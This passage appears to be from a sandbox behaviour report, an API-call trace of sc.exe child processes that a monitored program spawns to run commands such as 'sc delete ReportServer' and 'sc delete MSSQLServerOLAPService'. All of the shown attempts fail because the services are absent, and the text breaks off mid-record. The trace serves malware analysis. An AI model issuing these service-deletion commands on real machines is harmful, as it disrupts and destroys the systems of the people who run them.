_wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0070.602] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0070.602] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0070.603] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0070.603] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x234370 [0070.625] OpenServiceW (hSCManager=0x234370, lpServiceName="SQLAgent", dwDesiredAccess=0x10000) returned 0x0 [0070.625] GetLastError () returned 0x424 [0070.625] _itow (in: _Dest=0x424, _Radix=1898616 | out: _Dest=0x424) returned="1060" [0070.625] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffb7b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0070.627] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cf830, nSize=0x2, Arguments=0x1cf860 | out: lpBuffer="跀#") returned 0x62 [0070.627] GetFileType (hFile=0x120) returned 0x3 [0070.627] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x238ea0 [0070.627] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x238ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n#", lpUsedDefaultChar=0x0) returned 98 [0070.627] WriteFile (in: hFile=0x120, lpBuffer=0x238ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cf7d8, lpOverlapped=0x0 | out: lpBuffer=0x238ea0*, lpNumberOfBytesWritten=0x1cf7d8*=0x62, lpOverlapped=0x0) returned 1 [0070.627] LocalFree (hMem=0x238ea0) returned 0x0 [0070.627] LocalFree (hMem=0x238dc0) returned 0x0 [0070.627] LocalFree (hMem=0x0) returned 0x0 [0070.627] CloseServiceHandle (hSCObject=0x234370) returned 1 [0070.630] exit (_Code=1060) Thread: id = 47 os_tid = 0xb24 Process: id = "24" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3eb38000" os_pid = "0xb74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete MSSQLServerADHelper100" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0xb2c [0070.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xef8f0 | out: lpSystemTimeAsFileTime=0xef8f0*(dwLowDateTime=0x4222d930, dwHighDateTime=0x1d62774)) [0070.709] GetCurrentProcessId () returned 0xb74 [0070.709] GetCurrentThreadId () returned 0xb2c [0070.709] GetTickCount () returned 0x1149138 [0070.709] QueryPerformanceCounter (in: lpPerformanceCount=0xef8f8 | out: lpPerformanceCount=0xef8f8*=19038441139) returned 1 [0070.710] GetModuleHandleW (lpModuleName=0x0) returned 0xff5a0000 [0070.711] __set_app_type (_Type=0x1) [0070.711] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff5a7228) returned 0x0 [0070.711] __wgetmainargs (in: _Argc=0xff5ab604, _Argv=0xff5ab610, _Env=0xff5ab608, _DoWildCard=0, _StartInfo=0xff5ab050 | out: _Argc=0xff5ab604, _Argv=0xff5ab610, _Env=0xff5ab608) returned 0 [0070.712] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.714] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0070.714] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0070.714] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0070.714] _wcsicmp (_String1="delete", _String2="query") returned -13 [0070.714] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0070.714] _wcsicmp (_String1="delete", _String2="start") returned -15 [0070.714] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0070.714] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0070.714] _wcsicmp (_String1="delete", _String2="control") returned 1 [0070.715] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0070.715] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0070.715] _wcsicmp (_String1="delete", _String2="config") returned 1 [0070.715] _wcsicmp (_String1="delete", _String2="description") returned -7 [0070.715] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0070.715] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0070.715] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0070.715] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0070.715] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0070.715] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0070.715] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0070.715] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0070.715] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0070.715] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0070.715] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2043f0 [0070.720] OpenServiceW (hSCManager=0x2043f0, lpServiceName="MSSQLServerADHelper100", dwDesiredAccess=0x10000) returned 0x0 [0070.720] GetLastError () returned 0x424 [0070.720] _itow (in: _Dest=0x424, _Radix=980824 | out: _Dest=0x424) returned="1060" [0070.720] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff5ab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0070.722] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xef710, nSize=0x2, Arguments=0xef740 | out: lpBuffer="跐 ") returned 0x62 [0070.723] GetFileType (hFile=0x120) returned 0x3 [0070.723] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x208eb0 [0070.723] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x208eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n ", lpUsedDefaultChar=0x0) returned 98 [0070.723] WriteFile (in: hFile=0x120, lpBuffer=0x208eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xef6b8, lpOverlapped=0x0 | out: lpBuffer=0x208eb0*, lpNumberOfBytesWritten=0xef6b8*=0x62, lpOverlapped=0x0) returned 1 [0070.723] LocalFree (hMem=0x208eb0) returned 0x0 [0070.723] LocalFree (hMem=0x208dd0) returned 0x0 [0070.723] LocalFree (hMem=0x0) returned 0x0 [0070.723] CloseServiceHandle (hSCObject=0x2043f0) returned 1 [0070.951] exit (_Code=1060) Thread: id = 49 os_tid = 0xb88 Process: id = "25" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f53d000" os_pid = "0xaec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete MSSQLServerOLAPService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0xac8 [0071.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afed0 | out: lpSystemTimeAsFileTime=0x1afed0*(dwLowDateTime=0x4235e430, dwHighDateTime=0x1d62774)) [0071.031] GetCurrentProcessId () returned 0xaec [0071.031] GetCurrentThreadId () returned 0xac8 [0071.031] GetTickCount () returned 0x11491b5 [0071.031] QueryPerformanceCounter (in: lpPerformanceCount=0x1afed8 | out: lpPerformanceCount=0x1afed8*=19070668181) returned 1 [0071.032] GetModuleHandleW (lpModuleName=0x0) returned 0xffb60000 [0071.032] __set_app_type (_Type=0x1) [0071.033] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb67228) returned 0x0 [0071.033] __wgetmainargs (in: _Argc=0xffb6b604, _Argv=0xffb6b610, _Env=0xffb6b608, _DoWildCard=0, _StartInfo=0xffb6b050 | out: _Argc=0xffb6b604, _Argv=0xffb6b610, _Env=0xffb6b608) returned 0 [0071.034] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.035] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.035] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.035] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.035] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.036] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.036] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.036] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.036] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.036] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.036] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.036] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.036] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.036] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.036] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.036] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.036] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.036] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.036] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.036] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.036] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.036] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.036] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2843f0 [0071.040] OpenServiceW (hSCManager=0x2843f0, lpServiceName="MSSQLServerOLAPService", dwDesiredAccess=0x10000) returned 0x0 [0071.041] GetLastError () returned 0x424 [0071.041] _itow (in: _Dest=0x424, _Radix=1768760 | out: _Dest=0x424) returned="1060" [0071.041] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffb6b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.043] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1afcf0, nSize=0x2, Arguments=0x1afd20 | out: lpBuffer="跐(") returned 0x62 [0071.043] GetFileType (hFile=0x120) returned 0x3 [0071.043] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x288eb0 [0071.043] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x288eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n(", lpUsedDefaultChar=0x0) returned 98 [0071.043] WriteFile (in: hFile=0x120, lpBuffer=0x288eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1afc98, lpOverlapped=0x0 | out: lpBuffer=0x288eb0*, lpNumberOfBytesWritten=0x1afc98*=0x62, lpOverlapped=0x0) returned 1 [0071.043] LocalFree (hMem=0x288eb0) returned 0x0 [0071.043] LocalFree (hMem=0x288dd0) returned 0x0 [0071.043] LocalFree (hMem=0x0) returned 0x0 [0071.043] CloseServiceHandle (hSCObject=0x2843f0) returned 1 [0071.047] exit (_Code=1060) Thread: id = 51 os_tid = 0xac4 Process: id = "26" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f042000" os_pid = "0xb84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete MsDtsServer100" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0xa3c [0071.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efa50 | out: lpSystemTimeAsFileTime=0x1efa50*(dwLowDateTime=0x4241cb10, dwHighDateTime=0x1d62774)) [0071.102] GetCurrentProcessId () returned 0xb84 [0071.102] GetCurrentThreadId () returned 0xa3c [0071.102] GetTickCount () returned 0x1149203 [0071.102] QueryPerformanceCounter (in: lpPerformanceCount=0x1efa58 | out: lpPerformanceCount=0x1efa58*=19077781165) returned 1 [0071.103] GetModuleHandleW (lpModuleName=0x0) returned 0xff8f0000 [0071.103] __set_app_type (_Type=0x1) [0071.103] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff8f7228) returned 0x0 [0071.104] __wgetmainargs (in: _Argc=0xff8fb604, _Argv=0xff8fb610, _Env=0xff8fb608, _DoWildCard=0, _StartInfo=0xff8fb050 | out: _Argc=0xff8fb604, _Argv=0xff8fb610, _Env=0xff8fb608) returned 0 [0071.104] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.106] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.106] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.106] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.106] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.106] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.106] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.106] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.106] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.106] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.106] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.106] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.106] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.106] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.107] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.107] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.107] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.107] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.107] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.107] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.107] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.107] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.107] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.107] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.107] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3043d0 [0071.111] OpenServiceW (hSCManager=0x3043d0, lpServiceName="MsDtsServer100", dwDesiredAccess=0x10000) returned 0x0 [0071.112] GetLastError () returned 0x424 [0071.112] _itow (in: _Dest=0x424, _Radix=2029752 | out: _Dest=0x424) returned="1060" [0071.112] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff8fb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.113] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1ef870, nSize=0x2, Arguments=0x1ef8a0 | out: lpBuffer="趰0") returned 0x62 [0071.114] GetFileType (hFile=0x120) returned 0x3 [0071.114] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308e90 [0071.114] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0071.114] WriteFile (in: hFile=0x120, lpBuffer=0x308e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x308e90*, lpNumberOfBytesWritten=0x1ef818*=0x62, lpOverlapped=0x0) returned 1 [0071.114] LocalFree (hMem=0x308e90) returned 0x0 [0071.114] LocalFree (hMem=0x308db0) returned 0x0 [0071.114] LocalFree (hMem=0x0) returned 0x0 [0071.114] CloseServiceHandle (hSCObject=0x3043d0) returned 1 [0071.116] exit (_Code=1060) Thread: id = 53 os_tid = 0xac0 Process: id = "27" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3ed47000" os_pid = "0xb34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete ReportServer" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 54 os_tid = 0xabc [0071.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f970 | out: lpSystemTimeAsFileTime=0x16f970*(dwLowDateTime=0x424db1f0, dwHighDateTime=0x1d62774)) [0071.309] GetCurrentProcessId () returned 0xb34 [0071.309] GetCurrentThreadId () returned 0xabc [0071.309] GetTickCount () returned 0x1149251 [0071.309] QueryPerformanceCounter (in: lpPerformanceCount=0x16f978 | out: lpPerformanceCount=0x16f978*=19098460424) returned 1 [0071.310] GetModuleHandleW (lpModuleName=0x0) returned 0xff880000 [0071.310] __set_app_type (_Type=0x1) [0071.310] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff887228) returned 0x0 [0071.311] __wgetmainargs (in: _Argc=0xff88b604, _Argv=0xff88b610, _Env=0xff88b608, _DoWildCard=0, _StartInfo=0xff88b050 | out: _Argc=0xff88b604, _Argv=0xff88b610, _Env=0xff88b608) returned 0 [0071.311] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.313] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.313] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.313] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.313] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.313] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.313] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.313] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.313] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.313] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.313] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.313] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.313] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.313] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.313] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.313] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.313] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.313] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.314] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.314] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.314] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.314] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.314] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.314] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.314] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x274370 [0071.318] OpenServiceW (hSCManager=0x274370, lpServiceName="ReportServer", dwDesiredAccess=0x10000) returned 0x0 [0071.318] GetLastError () returned 0x424 [0071.318] _itow (in: _Dest=0x424, _Radix=1505240 | out: _Dest=0x424) returned="1060" [0071.318] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff88b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.320] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f790, nSize=0x2, Arguments=0x16f7c0 | out: lpBuffer="跀'") returned 0x62 [0071.320] GetFileType (hFile=0x120) returned 0x3 [0071.320] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x278ea0 [0071.320] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x278ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n'", lpUsedDefaultChar=0x0) returned 98 [0071.320] WriteFile (in: hFile=0x120, lpBuffer=0x278ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f738, lpOverlapped=0x0 | out: lpBuffer=0x278ea0*, lpNumberOfBytesWritten=0x16f738*=0x62, lpOverlapped=0x0) returned 1 [0071.320] LocalFree (hMem=0x278ea0) returned 0x0 [0071.320] LocalFree (hMem=0x278dc0) returned 0x0 [0071.320] LocalFree (hMem=0x0) returned 0x0 [0071.320] CloseServiceHandle (hSCObject=0x274370) returned 1 [0071.323] exit (_Code=1060) Thread: id = 55 os_tid = 0xa40 Process: id = "28" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3ed4c000" os_pid = "0xacc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"SQLTELEMETRY$HL\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0xad0 [0071.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efb10 | out: lpSystemTimeAsFileTime=0x1efb10*(dwLowDateTime=0x425998d0, dwHighDateTime=0x1d62774)) [0071.384] GetCurrentProcessId () returned 0xacc [0071.384] GetCurrentThreadId () returned 0xad0 [0071.384] GetTickCount () returned 0x114929f [0071.385] QueryPerformanceCounter (in: lpPerformanceCount=0x1efb18 | out: lpPerformanceCount=0x1efb18*=19106017415) returned 1 [0071.386] GetModuleHandleW (lpModuleName=0x0) returned 0xff0b0000 [0071.386] __set_app_type (_Type=0x1) [0071.386] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0b7228) 